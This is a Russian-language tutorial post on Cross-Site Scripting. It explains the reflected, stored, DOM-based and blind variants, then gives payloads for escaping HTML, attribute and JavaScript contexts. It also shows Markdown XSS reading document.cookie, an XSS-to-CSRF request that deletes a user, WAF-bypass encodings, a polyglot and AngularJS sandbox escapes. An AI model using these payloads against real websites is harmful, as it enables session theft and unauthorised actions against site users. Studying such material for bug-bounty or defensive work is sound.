Знакомство с Cross-Site Scripting (XSS)
@bagl3y_notes
#️⃣XSS (Cross-Site Scripting) — это уязвимость в веб-приложениях, которая позволяет внедрять и исполнять произвольный скрипт (обычно это JavaScript) в контексте сайта или веб-приложения.
XSS возникает, когда веб-приложение доверяет пользовательскому вводу (user input) без должной проверки и экранирования и встраивает этот input в свою HTML-страницу.
❓Чаще всего выделяют три ключевых типа:
➖Reflected XSS (отражённая) - уязвимость, при которой приложение получает данные в HTTP-запросе и небезопасным образом включает эти данные в ответ (без надлежащей санитизации или экранирования).

➖Stored XSS (хранимая) - уязвимость, при которой подконтрольные пользователю данные сохраняются на сервере и позже появляются на веб-страницах.

➖DOM-based XSS (основанная на манипуляциях с DOM деревом) - тип уязвимости, при которой исследователь внедряет свои сценарии на веб-страницу, манипулируя объектной моделью документа (DOM) веб-сайта.
DOM (англ. Document Object Model — «объектная модель документа») — иерархическое представление HTML-документа в памяти компьютера, которое позволяет программам изменять структуру, стиль и содержимое документа. Веб-сайты могут использовать JavaScript для управления узлами и объектами DOM, а также их свойствами.
XSS-уязвимости на основе DOM обычно возникают, когда JavaScript получает данные из источника, контролируемого исследователем, например из URL-адреса, и передаёт их в приёмник, поддерживающий динамическое выполнение кода, например eval() или innerHTML.
Проще говоря, если в скрипте на стороне клиента используется значение из document.location, document.cookie или document.referrer для генерации части HTML, и это значение вставляется прямо «как есть» во внутренний код страницы, то злоумышленник может сформировать специально сконструированный URL, где определённые параметры будут содержать вредоносный скрипт. Браузер же, выполнив этот JavaScript-код, запустит и вредоносную вставку.

Тут рисовать какие-то схемы сложно, поэтому просто приведу пример:
- Уязвимый код:
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
- Атака: Вводим
/?search="><script>alert(1);//</script> - Результат:
<img src="/resources/images/tracker.gif?searchTerm="><script>alert(1);//</script>— в данном случае произошла из-за конкатенации непроверенных пользовательских данных прямо в HTML-разметку, черезdocument.write
⁉️Однако, в некоторых источниках (например, Bugcrowd), и в курсе NahamSec'a отдельно выделяют:
➖Blind XSS (слепая) - это не отдельный тип, а скорее разновидность Stored XSS. Суть в том, что полезная нагрузка срабатывает не в самом приложении, а в другом месте (например, в панели администратора, или комментарий, который ты отправляешь админам сайта), которое ты как исследователь не видишь.

После идентификации точки внедрения, в которой пользовательский ввод отражается в коде ответа, ключевой задачей становится точное определение контекста этой интерполяции. Последующий успех эксплуатации напрямую зависит от корректного применения техник выхода из заданного контекста.
#️⃣Escaping Context — это техника выхода из заданного контекста для выполнения произвольного кода. Например, если пользовательский ввод отражён внутри атрибута HTML, можно попытаться выйти из этого атрибута и вставить исполняемый код JavaScript.
➖Контекст атрибута HTML. Ввод помещён внутри атрибута HTML (например, value="user input"). Чтобы выйти из этого контекста, возможно, потребуется закрыть значение атрибута, закрыть тег и ввести новый.
- Уязвимый код:
<input type="text" value="USER_INPUT"> - Атака: Пользователь вводит
" onmouseover="alert('XSS') - Результат:
<input type="text" value="" onmouseover="alert('XSS')">— атрибут закрыт, добавлен новый вредоносный обработчик события.
➖Контекст HTML-тегов. Ввод размещён внутри тегов HTML (например, <div>user input</div>). Когда контекст XSS — это текст между HTML-тегами, возможно, потребуется ввести некоторые новые HTML-теги, предназначенные для запуска выполнения JavaScript.
- Уязвимый код:
<div>USER_INPUT</div> - Атака: Вводим
<img src=xxx onerror=alert('XSS')> - Результат: Браузер видит новый тег
<img>, который пытается загрузить битый image (xxx), и при ошибке выполняетonerror.
➖Контекст JavaScript. Ввод отражён внутри блока JavaScript (например, var data = 'user input';). Когда контекст XSS включает существующий JavaScript в ответе, могут возникать различные сценарии, каждый из которых требует специфических техник для успешного использования уязвимости.
- Уязвимый код:
<script>var data = 'USER_INPUT';</script> - Атака: Вводим
'; alert('XSS'); // - Результат:
<script>var data = ''; alert('XSS'); //';</script>— мы закрыли строку, добавили свою команду и закомментировали остаток.
Примеры выхода из разных контекстов
input escape:
Атака:
/context-input/?name=xss"><script>alert(1);//</script>
Результат:
<p class="text-center">Hello, <input value="xss"><script>alert(1);//</script>"></p>
textarea escape:
Атака:
/context-textarea/?name=XSS</textarea><img/src=x%20onerror=alert(1)>
Результат:
<p class="text-center">Hello, <textarea>XSS</textarea><img src="x" onerror="alert(1)"></p>
title escape:
Атака:
/context-title/?name=test</title><img/src=x%20onerror=prompt(3)>
Результат:
<title>Welcome, test</title></head><body><img src="x" onerror="prompt(3)">
style escape:
Атака:
/context-style/?color=%23FFFFFF<%2Fstyle><img+src%3Dx+onerror%3Dalert%281%29>
Результат:
<style>
body {
background-color: #FFFFFF</style></head><body><img src="x" onerror="alert(1)">;
}
js-variable escape:
Атака:
/context-js-variable/?name=user%27;%20alert(1);//
Результат:
<script>
var name = 'user'; alert(1);//';
$('span#name').html( name );
</script>
⚠️ XSS возможна и в MarkDown'e
[link](javascript:prompt(document.cookie)) [link](j a v a s c r i p t:prompt(document.cookie)) [link](javascript:alert`1`) [link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [link](javascript:window.onerror=alert;throw%201) [XSS](.alert(1);) [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]]) [ ](http://a?p=[[/onclick=alert(0) .]]) [a](javascript:new%20Function`al\ert\`1\``;)
Использование XMLHttpRequest()
POST /updateDetails HTTP/1.1
Host: demoapp.loc
{"id":7357, "name":"<svg/onload=\"var xhr=new XMLHttpRequest(); xhr.open('GET', '/authService/user/delete?name=bob', true);xhr.send();\">", "age":25}
HTTP 200 OK
{"status":"Success"}
*чаще всего используется для чейна из XSS в CSRF
#️⃣Filter Evasion/Bypass
Простые XSS-векторы часто блокируются Web Application Firewalls (WAF) или встроенными механизмами валидации. Обход фильтров (Filter Bypass) — это модификация вредоносной нагрузки таким образом, чтобы она обходила механизмы защиты, но при этом сохраняла свою функциональность для браузера.
Вот некоторые примеры:
Манипуляции с регистром
<sCrIpt>alert(1)</ScRipt> <imG/sRc=x%20oneRRor=alert(1);>
Обработка черных списков (Tag Blacklist)
<script x>alert('XSS')<script y>
Дублирование тегов
<script><script> или <scr<script>ipt>
Использование `` вместо ( )
<script>alert`1`</script>
другие популярные обходы JS:
- Использование
throw/with:<script>onerror=alert;throw 1</script> - Использование
setTimeout/setInterval:setTimeout('alert(1)') - Использование
eval:eval('al'+'ert(1)') - Использование
location/URL:javascript:alert(1) - Использование
top/self:top['al'+'ert'](1)
Использование различных кодировок нагрузки, врапперов
Unicode, HTML, URL, Base64, HEX <img src=x onerror="alert(1)"> -> <img src=x onerror="alert(1)">
Использование Double URL Encode
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
Использование Polyglot Payload
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Можно использовать "экзотику"
"><script>ᚠ='',ᚢ=!ᚠ+ᚠ,ᚦ=!ᚢ+ᚠ,ᚨ=ᚠ+{},ᚱ=ᚢ[ᚠ++],ᚲ=ᚢ[ᚷ=ᚠ],ᚹ=++ᚷ+ᚠ,ᚺ=ᚨ[ᚷ+ᚹ],ᚢ[ᚺ+=ᚨ[ᚠ]+(ᚢ.ᚦ+ᚨ)[ᚠ]+ᚦ[ᚹ]+ᚱ+ᚲ+ᚢ[ᚷ]+ᚺ+ᚱ+ᚨ[ᚠ]+ᚲ][ᚺ](ᚦ[ᚠ]+ᚦ[ᚷ]+ᚢ[ᚹ]+ᚲ+ᚱ+"('ᛞᚾᛋᚨᛏᛡᚠᛚᛖᚺᛋᛉᛏᚱ')")()</script>

XSS в AngularJS
AngularJS 1.6+ by Mario Heiderich
{{constructor.constructor('alert(1)')()}}
AngularJS 1.6+ by @brutelogic
{{[].pop.constructor('alert\u00281\u0029')()}}
Example available at https://brutelogic.com.br/xss.php
AngularJS 1.6.0 by @LewisArdern & @garethheyes
{{0[a='constructor'][a]('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
AngularJS 1.5.0 - 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
AngularJS 1.4.0 - 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
AngularJS 1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
AngularJS 1.3.19
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}
⚠️Больше нагрузок можно глянуть тут
<script> — далеко не единственный путь.
- Теги:
<img>,<svg>,<iframe>,<audio>,<video>,<details>,<object>,<embed> - События:
onload,onerror,onmouseover,onfocus,onclick,onauxclick,onpointerenter - Пример:
<svg onload=alert(1)>или<img src=x onerror=alert(1)>
<svg/onrandom=random onload=confirm(1)> <video onnull=null onmouseover=confirm(1)>
⚠️А в этом репозитории есть исчерпывающая информация по теме обхода фильтров и байпасса механизмов защиты.